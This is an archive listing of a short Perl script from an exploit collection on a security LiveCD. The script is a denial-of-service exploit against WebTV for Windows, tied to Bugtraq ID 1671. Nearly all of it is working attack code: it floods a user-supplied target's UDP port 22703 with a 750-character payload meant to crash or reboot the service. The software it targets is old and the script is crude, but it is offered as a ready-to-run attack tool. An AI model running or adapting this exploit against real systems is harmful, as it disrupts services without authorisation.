home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / media / video / webtv.pl < prev   
Perl Script  |  2005-02-12  |  767b  |  26 lines
  1. #!/usr/bin/perl
  2. #Coded by:netsym and doom for rsh
  3. #http://www.8op.com/rsh
  4. #Denial of Service Vulnerability in WebTV for Windows discussed
  5. #on Bugtraq ID 1671 published on 9/12/2000
  6. #Thanks to Andrew Griffiths,EvilClone,Datagram,Matic,initd_,0x7f,anarcho and Dethy
  7. use IO::Socket;
  8. use Getopt::Std;
  9. getopts('s:', \%args);
  10. if(!defined($args{s})){&usage; }
  11. $serv = $args{s};
  12. $foo = "X"; $number = 750; 
  13. $data .= $foo x $number; $EOL="\015\012";
  14. $remote = IO::Socket::INET->new(
  15.             Proto    => "udp",
  16.             PeerAddr    => $args{s},
  17.             PeerPort    => "(22703)",
  18.         ) || die("Unable to connect to port 22703 on $args{s}\n");
  19. $remote->autoflush(1);
  20. print $remote "$data". $EOL;
  21. while (<$remote>){ print }
  22.  
  23. print("\nReboot complete!\n");
  24.  
  25. sub usage {die("\n$0 -s <server>\n\n");}
  26.